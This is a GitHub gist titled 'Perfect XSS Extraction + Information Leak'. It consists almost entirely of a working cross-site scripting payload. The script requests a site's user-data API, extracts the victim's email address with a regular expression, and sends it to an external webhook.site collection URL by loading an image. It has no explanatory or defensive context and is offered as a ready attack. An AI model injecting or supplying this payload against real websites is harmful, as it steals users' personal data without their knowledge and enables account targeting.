Skip to content

Instantly share code, notes, and snippets.

@adon90
Created October 9, 2019 14:58
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save adon90/4367cb5c2fc825a6ff99e3d7c8734e86 to your computer and use it in GitHub Desktop.
Save adon90/4367cb5c2fc825a6ff99e3d7c8734e86 to your computer and use it in GitHub Desktop.
Perfect XSS Extraction + Information Leak
<script>
var req = new XMLHttpRequest();
req.onload = function () {
var patt2 = /OA_mail":\["([^"]*?)"/g;
var result = patt2.exec(req.responseText)[1];
new Image().src = ("http://webhook.site/f6dab550-defa-4310-9a79-d0c5c1e9fdcc/?cc="+result);
};
req.open("GET", "/api/dataUsers/v1/WebStore/getUser", true);
req.send();
</script>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment